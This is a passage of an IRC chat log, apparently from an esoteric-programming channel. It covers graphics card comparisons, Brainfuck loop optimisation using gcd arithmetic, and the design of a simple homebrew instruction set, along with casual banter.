like all the time. or rather not, but it feels like it sometimes 17:42:28 That is possible 17:42:30 AnMaster: I was joking 17:42:32 many cars, for instance, have a feature that if you hold down the lock button on the keys for long enough it sets the alarm off as loud as it can and there's no way to stop it for several minutes 17:42:37 so you can use your car as a sort of rape alarm 17:42:42 which is a bit ridiculous 17:42:44 car rape alarm 17:42:50 three words I never thought I'd see consecutively 17:43:18 ehird: I'm trying to figure out what Ami is saying there, but failing 17:43:33 ais523: Ami is a bot, although I think those lines are either from a preset list, or entered manually by an operator 17:43:41 instead of, say, a markov chain 17:43:42 although the third line reminds me a bit of Paranoia XP 17:43:46 that's the general 17:43:47 theme 17:43:55 16:59 Cyclic bulletin file is missing. 17:43:55 16:59 Civic presence at 11 opt-ins and 16 opt-outs on 3 zoning enforcercement spars. 17:43:56 16:59 1 stabilization delegate(s) in position. 17:43:58 16:59 19 biotic cultures 17:44:01 16:59 Controlling therapy for 5 civic opt-ins with 1 zoning enforcement spars. 17:44:02 16:59 Local civic biomass: 5 Max: 9 17:44:04 16:59 Civic mass: 27 Max: 30 17:44:06 from the connection process 17:44:13 it could be a computer game, I suppose 17:44:16 it isn't, but it could be 17:44:18 although most of the time Ami just hands out awards for having been the last person to said something for ages 17:44:21 I found a test mode on a synth recently. It displayed TEST on the LCD. Then it played all tones, did a stepless "gliding" of a pure tone from ~40 Hz to well out of hearing range. After that it tested all LED segments on the display one by one. Then it shut down. 17:44:35 how to trigger it: Hold the setting button down while you powered it on 17:44:48 i've always wanted a speaker that I could play tunes out of the range of hearing on 17:45:01 at least they couldn't be discordant 17:45:15 ehird, hm? I tested range with a microphone 17:45:26 and it registered tones long after I didn't hear anything 17:48:02 * TaskManager will be replaced by TaskFreak!, dotProject and Trac 17:48:02 (tickets). 17:48:03 * DocManager will be replaced by MediaWiki and Trac (wiki). 17:48:05 * Discussion Forums will be replaced by phpBB. 17:48:07 * Diary and Notes will be replaced by WordPress. 17:48:11 AnMaster: well, SF are removing the awful forums, but replacing them with ... phpBB. 17:48:17 oh my 17:48:22 they moved into 2000! 17:48:23 I don't know which is worst 17:48:31 phpBB is excellent feature-wise, but truly awful code-wise 17:48:31 so 17:48:42 they will remove the bug tracker for any projects using it? 17:48:45 ais523: the features are mostly useless bloat 17:48:46 or is taskmanager something else 17:48:53 AnMaster: "tickets" 17:48:55 so bug tracker will disappear 17:49:04 and tbh, just replacing the whole thing with trac would probably be an improvement 17:49:08 ehird, and any projects using it? What will happen then 17:49:09 even though it doesn't have a forum 17:49:14 Dunno. Migration? 17:49:19 ehird, mhm hope so 17:49:22 -!- tombom has joined. 17:49:26 ais523: moving to trac being an improvement is a sign of a truly awful situation :) 17:49:47 trac isn't bad, it's just bland 17:49:55 it's good enough, but not much better 17:49:55 trac eats ram. 17:50:01 200 MB for the fcgi process 17:50:03 AnMaster: I didn't know that 17:50:03 I dunno, I'm not a fan of its UI and general concept-y stuff. 17:50:07 It's very mediocre. 17:50:12 ehird: mediocre is a good word 17:50:19 but then, I don't consider mediocre to be bad 17:50:22 ais523: it's perfectly cromulent 17:50:44 ais523: and if you think that's not actually a real real word, wiktionary lists it under "English": http://en.wiktionary.org/wiki/cromulent 17:51:00 ehird, cromulent? 17:51:01 cromulent is a real word 17:51:04 AnMaster: Cromulent. 17:51:17 aspell doesn't think it exists. Must be pretty rare 17:51:26 AnMaster: it's a neologism, but one that caught on 17:51:26 Wiktionary confirms it. 17:51:30 It's like Netcraft 17:51:30 it means roughly "makes sense" 17:51:38 Principal Skinner: He's embiggened that role with his cromulent performance. 17:51:40 ehird: that Wiktionary article has a big "do not trust this" box at the top 17:51:41 ais523: nope, it means "fine" 17:51:50 so 17:51:51 also, I'm selectively blind. 17:51:54 ehird: well, as a neologism, I wouldn't expect it to have a consistent meaning 17:52:05 ais523: in the same episode that coined it? 17:52:10 "it's a perfectly fine word" works too 17:52:18 well, as in "legitimate" 17:52:30 perfectly legitimate performance? 17:52:34 that doesn't really imply "good" 17:52:39 I suppose you could translate "cromulent" to "there's nothing wrong with it" 17:52:46 the implication to me is not "good", but "acceptable" 17:52:56 I think it's like a weak "good" 17:53:03 if you embiggen a role, obviously you did quite well 17:53:18 btw, reality check: we're arguing about the definition of a word coined on The Simpsons 17:56:05 Deewiant: link to that list of video cards ordered by awesome? 17:56:10 finnish thing 17:56:19 jathardware.com 17:56:33 thanksinyou 17:57:04 Deewiant: it lists the GeForce 9800GTX+ as below the 4770, but it's actually competitive-and-sometimes-better with the 4850 17:57:05 odd 17:57:06 The links that say "nopeusjärjestys" ("awesome order") are the ones you want 17:57:27 ehird: Well, they're in the same category 17:57:32 true 17:57:33 So they're clearly competitive 17:57:43 but the 4770 is a lot worse than both the 4850 and the 9800GTX+ from what I've seen 17:57:52 The ???? means he doesn't know whether the 4770 is better or worse than the 4850 17:57:58 ah 17:58:05 Deewiant: wait, does it really translate as awesome order? 17:58:08 I was joking 17:58:08 And the space between 4770 and 9800 means he thinks the 9800 is a bit worse 17:58:13 ehird: No, it doesn't :-P 17:58:24 17:58 Deewiant: And the space between 4770 and 9800 means he thinks the 9800 is a bit worse ← ati fan? :p 17:58:45 ehird: ------ is the only "true" separator 17:58:49 Sure. 17:58:52 Everything else is kinda variable 17:58:56 Deewiant: no, wrong number of -s 17:58:58 it should be ---- 17:59:03 or -- for a sig separator 17:59:07 Actually ----- 17:59:10 On that page 17:59:22 well, they're wrong 17:59:24 they should have used 4 17:59:35 Why's that 18:00:29 Deewiant: It lists the 9800 GTX+ one category below the 8800 GTX. What I've read suggests the opposite. 18:00:35 odd. 18:00:42 Deewiant: because 4 is standard! 18:00:48 What standard 18:01:20 ehird: The list is mostly about the hardware used 18:01:23 The Alex Smith standard. 18:01:28 Deewiant: Ah. 18:01:46 I.e. if one has more MHz than another but is otherwise identical it'll be higher, regardless of what tests say 18:01:53 Deewiant: ... but the 9800 GTX+ is a G92 and the 8800 GTX is a G90. 18:01:56 (Although in that case I'd be surprised if tests said it should be the other way) 18:02:00 One came out last year, the other in late 2006. 18:02:09 I'm incredibly surprised that it would be considered better by any measure. 18:03:22 It seems that the 8800 GTX has 86.4 GB/s bandwidth whereas the 9800 GTX+ has 70.4 18:03:43 Other than that, the latter is indeed advertised as better. 18:03:47 ... it is? 18:04:05 Higher clock, fill rate, etc. 18:04:18 Based on a quick browse of nvidia.com, anyway 18:04:21 I'm amused that people can get so involved in high-ending their computers 18:04:33 ais523: this is mid-range 18:04:33 the graphics card on here's an Intel 915 18:04:39 which isn't even powerful enough to run Vista, really 18:04:46 and which I suspect is obsolete nowadays 18:04:49 and I want to play certain games, certain games that a lesser card would give me bad FPS on; I have researched this :-P 18:05:16 but god I hate the naming systems 18:05:29 9800 GTX+ < 8800 GTX, yes, a higher number and a + means it's worse! 18:05:31 agreed, graphics card naming is almost impossible to fathom 18:05:54 * ais523 vaguely wonders if AnMaster even has a 3D graphics card 18:05:56 4770? that's better than the 4830! why? because of the technology used inside, not the actual market, duh! 18:06:02 ais523: he has some GeForce 7780 or something 18:06:04 Both ATI and nVidia have a 9600 GT, at least 18:06:11 Deewiant: they do? 18:06:12 haha 18:06:14 ais523, yes... 18:06:16 ATI's is some two-three years old 18:06:20 nVidia's is fairly new 18:06:21 GeForce 7600 GS 18:06:29 Actually, older than that, I think 18:06:30 -!- oerjan has joined. 18:06:31 ais523: And CPU naming is getting crazy, too. 18:06:34 But anyway. 18:06:38 I blame AMD for purchasing ATi. 18:06:39 pikhq: well, it used to work on IC names 18:06:44 now, if 8800 is better than 9800, you'd expect 7600 to be even better right? 18:06:45 noooooooooooooooooooooooooo! 18:06:46 which also don't make a whole lot of sense, normally 18:06:54 as they were originally designed just to be unique, not ordered 18:07:35 Deewiant: I'm googling, everyone's saying the 8800 GTX is good but not as good as the 9800 GTX, let alone the 9800 GTX+ 18:07:35 now, if 8800 is better than 9800, you'd expect 7600 to be even better right? <-- In that case my old GeForce 3 Ti 200 would be AWESOME 18:07:49 sadly it is no longer functional 18:07:52 AnMaster: shit man, Voodoo cards! 18:07:54 which is why I changed to this card I have 18:08:02 ehird, what was before that 18:08:06 anyone remember games installing an extra menu item for Glide? 18:08:08 I doooooo 18:08:30 ehird, Glide? I remember seeing something about Glide in mupen64... but that is all 18:08:45 AnMaster: Glide is the 3dfx Voodoo cards' hardware-based implementation of some OpenGL calls 18:08:51 heh 18:09:31 theory: someone should write a generic graphics card 18:09:41 which automatically optimises graphicsy stuff 18:09:53 so you can use pure-software implementations of the renderer, and it runs really fast anyway 18:09:59 that way it's future-proof to standards improvements 18:10:01 ais523: err, graphics cards ARE generic 18:10:04 to a large degree 18:10:08 ehird: I mean, even more than that 18:10:10 there's a reason they're called -PUs 18:12:09 Deewiant: http://i7.techpowerup.com/reviews/Zotac/GeForce_9800_GTX_Plus_Amp_Edition/images/crysis_1920_1200.gif 18:12:14 9800 GTX+ is 22.6 FPS 18:12:15 and, wait for it 18:12:18 the 8800 GTX is 18:12:20 22.6 FPS 18:12:22 Amazing. 18:12:35 Hey, it has about 200MB more memory with which to be at the same FPS, though. 18:13:22 hmm... does crysis automatically try to run at the fastest FPS possible? 18:13:35 DNA Maze runs at 20 FPS, for instance, even if the hardware is capable of more 18:13:48 which it is, considering how simple the graphics are 18:14:41 Most games don't have FPS limiters. 18:15:17 well, there's nothing animated in DNA Maze 18:15:18 Personally, I'm in favor of limiting FPS to the monitor's refresh rate. 18:15:28 Updating in the middle of a refresh just looks like shit. 18:15:30 nothing changes faster than once every 5ms 18:15:37 pikhq: Which means what, exactly, on LCDs 18:15:58 Deewiant: LCDs still have a 'refresh rate'. 18:15:59 so limiting to 20 FPS means that updates can happen exactly when they need to 18:16:02 rather than waiting until the next frame 18:16:09 They can only update the LCD so often. 18:16:48 * pikhq notes that FPS might be a better unit than hertz for this purpose, but alas, LCDs themselves are still statted in Hz refresh rate. 18:17:49 That's 60 Hz for just about all LCDs, isn't it 18:18:27 Not all LCDs. 18:18:33 Though that is the norm. 18:18:39 08:10:39 is this BF loop balanced or not: [>[-]+++[>++>++<<],++.<+] 18:18:46 08:10:58 it is also equal to [>[-]+++[>++>++<<]] 18:18:59 oerjan, it is balanced 18:19:16 i'd say the first is clearly balanced, and the second is then essentially balanced 18:19:23 oerjan, interesting. 18:19:45 the second could be phrased as: a loop that never finishes is balanced for most purposes 18:20:19 it's balanced for the purpose of optimising, anyway 18:20:31 the first is syntactically balanced 18:20:31 if you get past the loop, the tape pointer didn't move 18:20:53 the second is logically balanced if you define that as "ends up in the same place _if_ it finishes" 18:21:01 yes 18:21:05 which is a good definition 18:22:11 Especially for optimisation purposes. 18:22:14 btw the second relies on cell size being even :D 18:22:46 there is nothing that says every bf variant _needs_ to use a power of 2 >:) 18:23:10 presumably this one does, though 18:23:15 yeah 18:25:29 i vaguely recall redcode uses a prime, at least for memory size, maybe FukYourBrane could use the same 18:26:11 oerjan: FukYorBrane has a prime number of possibilities for each tape element, I think 18:26:22 whereas BF Joust uses 256, partially because it needs to be even 18:26:33 (as i recall, because this prevents you avoiding your own code just by placement with a fixed step scan) 18:26:54 wait, no, redcode has a power of 2 for memory size 18:27:02 no, wrong again 18:27:07 it's round but not a power of 2 18:27:08 such as 8000 18:27:59 if it were a multiple of 256, say, you could just move a little bit off your code, and then move right 256, kill & destroy, repeat 18:28:34 and you would only hit enemies 18:28:44 oerjan: that's a common tactic 18:28:47 but using small numbers like 4 18:28:51 rather than large numbers like 256 18:28:57 256 is likely to miss your enemies too 18:29:01 yeah i just realized that 18:29:06 ais523, btw, have you noticed google maps work without js? 18:29:16 not sure if you were here when it was discussed 18:29:36 it's balanced for the purpose of optimising, anyway <-- not exactly. It is unbalanced for some optimisations 18:29:54 AnMaster: which? 18:29:54 some of those working inside the loop 18:30:02 18:13 ais523: hmm... does crysis automatically try to run at the fastest FPS possible? 18:30:04 yes 18:30:13 but most games have vsync (= limit to my LCD's fps) 18:30:56 oerjan: The second doesn't rely on cell size being even, assuming cells wrap. 18:30:59 ok maybe they decided that was fun and made it a reason for _not_ using a prime 18:31:05 It relies on cell size being *greater than 2*. 18:31:14 Erm. Greater than 3. 18:31:25 pikhq: by cell size i mean number of possible values, not bits 18:31:43 -!- asiekierka has joined. 18:31:47 if it's odd and wrapping, then that _will_ eventually reach 0 again 18:31:48 Hi 18:31:54 ais5523: How's the scorelist 18:32:03 did anyone write their own BF Joust stuff 18:32:03 oerjan: [>++>++<<] 18:32:06 btw the second relies on cell size being even :D <-- where does it do that? 18:32:08 No, it won't.' 18:32:17 pikhq: yes it will 18:32:27 oerjan, index_diff = unchanged 18:32:28 It doesn't do anything to the cell that's being tested. 18:32:30 look at it 18:32:43 pikhq: oh, i misread 18:32:44 What are you talking about? 18:32:52 bah 18:33:14 The cell values needs to not be 3 for it to run. 18:33:17 -!- Corun has joined. 18:33:21 -!- BeholdMyGlory has quit (Remote closed the connection). 18:33:22 thought it did like [++>++<] 18:33:31 -!- kar8nga has joined. 18:33:31 "8800 GTX XXX Edition" 18:33:34 -!- BeholdMyGlory has joined. 18:33:45 * pikhq shan't behold. 18:33:48 oerjan, well that one I can't yet detect as infinite, haven't implemented that type of optimisation of it yet. 18:33:58 * oerjan swats some glory -----### 18:34:04 XCorp 8800 GTX XXXXX Xdition 18:34:15 AnMaster: ah 18:34:21 oerjan, I see some code for it in esotope-bfc, but it messes up my head trying to work it out 18:34:25 you could do it trivially 18:34:40 it is mathy stuff ;P 18:35:00 it's just greatest common divisor 18:35:03 AnMaster: actually that one _isn't_ infinite for all initial values, regardless 18:35:10 only for odd ones 18:35:15 Everyone should know GCD 18:35:19 oerjan, yes 18:35:19 oerjan, http://rafb.net/p/6pRr7k45.html 18:35:20 so it needs context 18:35:45 oerjan, I have context: I know the index cell is a constant already 18:35:50 the constant propagation pass told me 18:36:14 ehird, I know how gcd is defined 18:36:48 yeah i noticed 18:37:14 oerjan, otherwise I wouldn't have been able to remove the stuff after the infinite loop above. 18:37:50 You know, I wnnt to make a Boolf**k machine 18:37:53 I want* 18:38:08 AnMaster: that paste also requires you to know the Euclidean algorithm with coefficients 18:38:36 (for let u * m + v * w = gcd(m,w)) 18:38:36 I only wonder how will I do the I/O 18:38:53 *extended Euclidean algorithm 18:39:11 oerjan, I'm not familiar with "extended gcd" 18:39:20 * AnMaster googles 18:39:24 AnMaster: it's not the gcd that is extended 18:39:43 it's the algorithm for finding it that is extended so you get the other coefficients in that equation 18:39:52 mhm 18:40:29 which is very useful for solving linear integer equations 18:40:55 * ehird compares the 8800 Ultra w/ the 9800 GTX+ 18:41:10 oerjan, *reads on wikipedia* 18:41:30 asiekierka: Serial line. 18:41:36 Assuming it's on an FPGA. 18:41:39 Not hard to do. 18:41:51 The worst thing about picking a graphics card is that gamers don't know the meaning of grammar. 18:41:57 "9800GTX+ is faster than 8800 Ultra"←kay 18:42:10 ehird, that seems fine? 18:42:18 AnMaster: that was a separate thing 18:42:23 pikhq: It's using 7400 series and the like 18:42:27 two different lines 18:42:30 ehird, you might want to add some "the" though 18:42:32 but ok 18:42:33 And I wanted to do a LED 18:42:37 thought it was an example 18:42:47 possibly two buttons to do < and > manually 18:42:59 -!- inurinternet has quit (Read error: 60 (Operation timed out)). 18:43:31 asiekierka: I suggest a bank of 8 toggle switches. 18:43:56 Oh, and a button to enter it in. 18:44:04 Output via 8 LEDs. 18:44:20 ...Why 8 LEDs? 18:44:30 A byte. 18:44:31 A char. 18:44:35 A byte. 18:44:36 I know 18:44:39 AnMaster: btw that is the basis for several of the algorithms in [[Brainfuck constants]] on the wiki 18:44:41 but I'm doing Boolf**k. 18:44:41 A char can be any size > 8 bits, pikhq. 18:44:48 asiekierka: Boolfuck outputs in bytes. 18:45:01 oerjan, hm 18:45:07 Outputs the bit under the pointer to the output stream. The bits get output in little-endian order, the same order in which they would be input. If the total number of bits output is not a multiple of eight at the end of the program, the last character of output gets padded with zeros on the more significant end. If the end-of-file character has been input, outputs a zero to the bit under the pointer. 18:45:08 It just builds those bytes up 8 at a time. 18:45:18 s/8/bits/ 18:45:19 (for finding multiplicative inverses mod 256) 18:45:52 oerjan, I see the algorithm on wikipedia for it. I understand it. But I don't understand why it is useful :/ 18:47:31 ehird: Ehh? 18:47:34 AnMaster: as i said, it's useful for finding the integer solutions to linear equations 18:47:37 So I am not implementing Boolf**k 18:47:49 I am implementing a variation of BF operating on bits, also in I/O 18:48:01 AnMaster: or do you mean useful for brainfuck? 18:48:15 oerjan, both :/ 18:48:36 but actually 18:48:44 is there anything better (or easier) to implement 18:48:49 better as in more useful 18:48:54 and no not Befunge 18:48:56 that calls for FPGAs 18:49:26 see, if you have something like [-]+++[---->++++++<] 18:49:59 Well, I think i will make an OISC 18:50:05 asiekierka: As in more useful? 18:50:06 Brainfuck proper. 18:50:11 As in easier? OISC. 18:50:24 pikhq: But both of these have been done! 18:50:32 The latter on 7400 series, too 18:50:46 As in cooler? Malbolge. 18:51:14 oerjan, How does it help for the compiler wanting to find if loop is finite or infinite.. That is the bit I don't understand. 18:51:27 pikhq: I don't have a house big enough to store wirewrapped 7400 series chips for Malbolge! 18:51:34 then that is essentially solving the problem: is there a y such that 3+4*y = 256*k ? 18:51:40 ... *Wirewrapped* 18:51:42 Oh. 18:51:45 well 18:51:48 not necessairly 18:51:50 maybe proto'd 18:51:54 but I'm trying to NOT solder 18:51:54 oerjan, ah. I see 18:52:06 Fine, then. Create your own architecture. 18:52:12 Port a C compiler to it. 18:52:16 and if so, the result is 5* the smallest such y 18:52:27 meh, seems like my i7 965 XE and the 9800 GTX+ will suck up >430W at load, so I need a diff power supply 18:52:37 pikhq: I don't have a year to waste (See: BMOW) 18:52:38 If you're feeling especially motivated, port Minix to it. 18:52:44 oerjan, 5* the smallest such? 18:52:47 Magic-1. :) 18:52:49 err 18:52:50 what 18:52:53 AnMaster: er, 6 18:52:54 I don't have time, either (See: Magic-1) 18:52:56 http://www.homebrewcpu.com/ 18:53:00 i miscounted my +'s 18:53:02 Ah. 18:53:03 ehird: get a nehalem xeon 18:53:04 I also don't want something very hard (See: both) 18:53:12 asiekierka: Be hard-core! 18:53:21 so i don't know what to do, really 18:53:21 see, if you have something like [-]+++[---->++++++<] 18:53:26 I want something simple but useful 18:53:27 oerjan, hm. The fact that I'm representing - as "add 255" makes this slightly complex I think... 18:53:29 bsmntbombdood_: Why? All that buys me is ECC (= slower ram), another $500 out of my pocket, having to buy a server motherboard, and lameness. 18:53:33 I'm entirely sure you can write a C compiler for OISC 18:53:36 bsmntbombdood_: Also, I doubt it'll suck up LESS watts... 18:53:48 ehird: [two] xeons 18:54:03 bsmntbombdood_: Make that another $2,000 out of my pocket vs an i7. 18:54:07 And even more wattage. 18:54:07 AnMaster: oh. well in principle multiples of 256 don't matter (you could do most of this with (mod 256) arithmetic) 18:54:11 And even more on the mobo. 18:54:15 asiekierka: Oh, I'm sure you could. 18:54:22 Maybe even get LLVM to target it. 18:54:49 also, only a 9800? 18:54:58 bsmntbombdood_: no, not only a 9800 18:54:59 oerjan, it makes stuff easier elsewhere to not have any "add -1" or similar. Since erlang is all bignum it is a pain to make sure the range of merged nodes have the proper value if negative. Much easier if the code only needs to deal with positive values. 18:55:11 bsmntbombdood_: a 9800GTX+, which is competitive-with-and-sometimes-better than a Radeon HD 4850 18:55:24 ehird: it's like a year old 18:55:24 9800GTX+ >>>>>>> 9800GTX >>>> 9800GT 18:55:28 bsmntbombdood_: yes. Yes it is. 18:55:33 So's the 4870 and it still screams. 18:55:35 AnMaster: oh. well adding 255 might actually fit this equation slightly better 18:55:44 oerjan, really? hm 18:55:49 bsmntbombdood_: And I want something I can cool passively with the Accelero S1 Rev2. 18:56:05 since you then only have a few variables to worry about being negative 18:56:18 bsmntbombdood_: Besides, the 9800GTX+ manages Crysis @ 1920x1080 at 41fps (with some settings bumped up, IIRC) 18:56:23 So it's not exactly crappy. 18:56:29 9800GTX+ >>>>>>> 9800GTX >>>> 9800GT <-- can be simplified into a + But that is a dead store. So generated code could be int main(void) { return 0; } 18:56:31 * AnMaster runs 18:56:31 i dunno what crysis is 18:56:36 AnMaster: wait, did i say +4? i meant -4 18:56:44 bsmntbombdood_: An incredibly GPU-intensive game. 18:56:58 Even the 4870X2 (two 4870s stuck together) can't max out all of the settings to the very max and still be playable at 1920x1080. 18:56:58 AnMaster: but you could make that 4*255*y to fit your framework perfectly 18:57:14 maybe GTX 295 in 3xSLI could do it 18:57:28 AnMaster: did you literally run or just joking? 18:57:32 oerjan, hm... only thing that can be negative is offset, and mov nodes (< is {mov, -1} basically) 18:57:50 AnMaster: did you literally run or just joking? <-- ehird's line? Joking. 18:57:59 and yes joking 18:58:02 about the run 18:58:19 i assume so, unless you have a very portable irc client 18:58:27 -_- 18:58:30 which people might, nowadays 18:58:53 bsmntbombdood_: So I don't know what you meant by the 9800GTX+ not being good. 18:58:53 http://www.arctic-cooling.com/catalog/product_info.php?cPath=2_&mID=101. 18:58:59 now that's a big cooler 18:59:04 ehird: it's just old 18:59:14 bsmntbombdood_: Dude, there aren't many graphics cards much newer than it. 18:59:21 bsmntbombdood_: Heck, the i7 came out last year! 18:59:34 but there's nothing newer than it 18:59:43 bsmntbombdood_: The i7 came out *18 months ago* 18:59:46 AnMaster: so you are not having anything negative, which means you do all loop checks by checking if things are divisible by 256, i assume 18:59:47 And newer != better. 19:00:00 The 9800GTX+ is a powerful card, and the most powerful you can cool with the S1 Rev.2 apart from a 4870. 19:00:05 oerjan, um? 19:00:13 bsmntbombdood_: that is not a big cooler 19:00:16 bsmntbombdood_: http://www.arctic-cooling.com/catalog/product_info.php?cPath=2_&mID=105 this is a big cooler 19:00:20 ehird: why do you want it passive? 19:00:29 (in ctx: http://www.ngohq.com/attachments/news/769d1198274397-arctic-cooling-launches-accelero-s1-rev-2-100_1050.jpg) 19:00:31 oerjan, I have a cleanup pass that runs after all the node merging passes which adjusts out of range values 19:00:32 AnMaster: so 3 + (4*255)*y = 256*k fits what you would do with [-]+++[---->++++++<] 19:00:43 oh damn, that is a big cooler 19:00:43 optimise([#bfn{ ins = add, val = Val } = H|T], Result) 19:00:43 when Val > 255 -> 19:00:43 optimise(T, [H#bfn{val = Val rem 256 } |Result]); 19:00:45 like that 19:00:53 bsmntbombdood_: For silence. Plus, I don't really need more performance than the 9800GTX+. Barely anyone except HARDKOR LEET GAMERZ do. 19:01:02 AnMaster: oh well. anyway that just becomes an additive constant to k, which we don't care about 19:01:03 and irc client messed up indention 19:01:03 So since I _can_ cool it passively... 19:01:07 And yeah. 19:01:10 It is gigantic. 19:01:14 ehird: and hardcore elite scientists 19:01:20 I want to make a 16-command no-parameter set 19:01:22 bsmntbombdood_: they use PS3 clusters ;-) 19:01:24 Probably sort of extended BF 19:01:58 AnMaster: btw of course that equation has no integer solution 19:01:58 oerjan, and you lost me. Best way is to try to replicate what esotope-bfc did here. Since it is in python it also has bignums iirc. 19:02:19 not sure if it uses -1 or +255 though 19:02:20 AnMaster: was that paste from esotope-bfc? 19:02:24 AnMaster: do you know anything about mathematics? :) 19:02:29 oerjan, the comment? yes 19:02:32 I suggest addition to an address, subtraction from an address, and conditional jumping. 19:02:43 Only marginally easier than Brainfuck! 19:02:55 ehird, some, but the Swedish school system sucks. Ending high school without knowing about linear algebra 19:02:55 :( 19:03:10 AnMaster: Can't suck as much as the UK system. 19:03:16 oh well 19:03:20 But tbh, I'm rather maths-retarded myself; mostly learned from WP. 19:03:20 ehird, I'd say it is equally bad 19:03:27 AnMaster: One can finish university without knowing about linear algebra. 19:03:31 Well, I currently have NOP, NOP, <, >, +, -, M->A, A->M 19:03:52 * oerjan goes back to web browsing 19:04:03 and SKP - Skip the next command 19:04:05 pikhq: are there any instruction sets that don't have zero params on all instructions that have a constant length? 19:04:07 that is, nop is 00 00 19:04:08 pikhq, depends on what you study. Lawyer? Certainly. CS? No. 19:04:11 to pad out for the argument, say 19:04:18 AnMaster: CS involves linear algebra? 19:04:20 well, I use 4 bits per command 19:04:24 ehird, easier for you to learn from WP. It is your native language. 19:04:27 AnMaster: Coulda fooled me 19:04:35 also, isn't there a wikipedia in Swedish? 19:04:38 :P 19:04:40 ehird, at least CS here has linear algebra 19:04:43 ehird, yes but it sucks 19:04:43 ehird: It is mandatory for most CS degrees. 19:04:43 well 19:04:46 pikhq: well yeah 19:04:50 I guess I'm just cynical 19:04:54 since there are a lot of idiots doing CS 19:04:55 ehird, 1) very incomplete 2) should be called "Simple Swedish" 19:05:07 19:04 ehird: pikhq: are there any instruction sets that don't have zero params on all instructions that have a constant length? 19:05:07 19:04 ehird: that is, nop is 00 00 19:05:46 ehird, what is the context... 19:05:58 assuming time is UTC I can't find it 19:05:59 AnMaster: none 19:06:07 pikhq: AnMaster: One can finish university without knowing about linear algebra. 19:06:07 19:03 asiekierka: Well, I currently have NOP, NOP, <, >, +, -, M->A, A->M 19:06:08 19:03 oerjan goes back to web browsing 19:06:10 19:04 asiekierka: and SKP - Skip the next command 19:06:12 19:04 ehird: pikhq: are there any instruction sets that don't have zero params on all instructions that have a constant length? 19:06:15 ehird, today? 19:06:15 19:04 ehird: that is, nop is 00 00 19:06:17 19:04 AnMaster: pikhq, depends on what you study. Lawyer? Certainly. CS? No. 19:06:19 19:04 ehird: to pad out for the argument, say 19:06:21 ... 19:06:23 well, no 19:06:23 A few fucking seconds ago! 19:06:25 no SKP 19:06:27 now there's 19:06:29 It's 19:06 19:06:41 ah right 19:06:42 there 19:06:45 hmm 19:06:50 ehird, I thought it was UTC 19:06:54 what are the addresses of eax,etc on x86? are they constant? 19:07:03 SNZ (Skip if A != 0), SKZ (Skip if A = 0), JMP (to set address), SKP (just skip), SAH (A->high byte of addr), SAL (A->low byte of addr) 19:07:09 I have 0000-1101 occupied 19:07:10 ehird, addresses of eax? 19:07:14 cuz i have 2 nops currently 19:07:20 AnMaster: addresses of eax, etc. 19:07:21 ehird, it is a register. You can't have a pointer to a register 19:07:23 do you know what etc. means? 19:07:25 so 2 commands more 19:07:27 what can I add? 19:07:32 AnMaster: not neccessarily 19:07:33 oh 19:07:36 Add A to cell and Subtract A from cell 19:07:37 you could have a ptr-to-register just fine 19:07:42 ehird, memory mapped registers yeah 19:07:42 by reserving the first N bytes of memory-space 19:07:48 but iirc x86 doesn't have that 19:08:00 it seems like a logical design decision 19:08:00 ehird, also that would mess up NULL pointers badly 19:08:03 instead of having 3 instructions 19:08:05 constant, memory and register 19:08:07 well it could work with non-zero null 19:08:08 you can just have 19:08:12 but that would be messy 19:08:12 constant, memoyr 19:08:14 *memory 19:08:17 AnMaster: last N bytes, then 19:08:35 ehird, of the possible address space, not real memory installed right? 19:08:40 AnMaster: right 19:08:53 could work. But iirc x86 doesn't do it like that 19:08:58 x86 is in fact a mess 19:09:07 So the opcodes are NOP, MVL, MVR, ADM, SBM, PLA, PHA, SNZ, SKZ, JMP, SKP, SAH, SAL, ADA, SBA 19:10:01 AnMaster: actually, all opcodes being two bytes wouldn't work 19:10:07 you need it to be >machine word 19:10:10 for load-into-X 19:10:10 and yes, setting an address is just setting them in 2 cells and then you can just do PLA, SAL, MVR, PLA, SAH, if you store low-high 19:10:31 if high-low, swap SAH and SAL 19:11:18 so to set a cell to 3 you do ADM ADM ADM 19:11:45 to clear the cell you do (assuming $0000 is command 1, $0001 is command 2...) 19:11:56 or nah 19:11:58 this is a mess 19:12:00 and won't work 19:12:03 kay, instruction = 5 bytes 19:12:18 pikhq: think I should align at a boundary more than "byte"? :P 19:13:01 ehird: Kilobyte. 19:13:07 pikhq: per instruction‽‽‽‽ 19:13:11 hmm, i'd rather 3 bytes tbh... 19:13:25 pikhq: any idea how to do a load-word-into-X when I can only pass a pointer? 19:13:27 not a value :-P 19:13:29 * pikhq creates an architecture with 32-bit aligned instructions. 19:13:34 And 8 bits. 19:13:39 ooh, maybe: 19:13:39 Erm.\ 19:13:42 8-bit addressing. 19:13:44 :p 19:13:49 a nop is 00 XXXX, where the XXXX is just ignored 19:13:51 now 19:13:55 LOAD looks at the next instruction 19:13:55 so 19:13:59 LOAD ptr; NOP value; 19:14:00 >:D 19:14:17 pikhq: discuss my evility 19:14:19 ehird, x86 has very varying instruction size 19:14:25 AnMaster: yep 19:14:27 -!- MizardX- has joined. 19:14:30 oh not talking about x86= 19:14:31 ? 19:14:32 I'm trying to make the cpu not have to guess about it 19:14:35 i'm designing an instruction set 19:14:42 where all instructions are exactly the same length 19:14:47 but that's OP XXXX 19:14:47 ehird, you could do all loads from memory :D 19:14:52 and that's just enough to store one pointer 19:14:53 that would work, but be silly 19:14:58 wait hm 19:14:59 no 19:14:59 and you need to load _something_ somehow 19:15:01 so 19:15:02 still machine word 19:15:05 LOAD ptr; NOP value 19:15:07 ehird, what about "increment" 19:15:08 :D 19:15:10 since it has to be NOP XXXX 19:15:14 and set zero 19:15:14 the XXXX can just be ignored 19:15:16 and LOAD can look at it 19:15:17 with those you can load 19:15:18 :D 19:15:20 AnMaster: no 19:15:24 that's not interesting, that's boring and slow 19:15:34 ehird, yes of course 19:15:58 -!- MizardX has quit (Nick collision from services.). 19:16:01 otoh, LOAD looking at the next instruction is Evil(TM) 19:16:21 ehird, what about "load and skip next instruction"? 19:16:23 -!- MizardX- has changed nick to MizardX. 19:16:30 ehird: As is using NOP for storage. :) 19:16:33 then have the next instruction as an operand 19:16:40 AnMaster: that's just variable instruction size 19:16:47 ehird, yeah. But with a different name 19:16:48 :D 19:16:56 variable instruction size is so inelegant :P 19:17:25 ehird, are there any major architectures that use fixed size? Possibly Itanium I guess... 19:17:35 keyword being Very Long instruction word 19:17:37 AnMaster: RISC architectures. 19:17:46 pikhq, so what about the load one there 19:17:56 pikhq, loading a constant into a register. 19:18:03 or referencing a constant memory cell 19:18:07 err 19:18:08 byte 19:18:13 i guess they just have OP XXXX 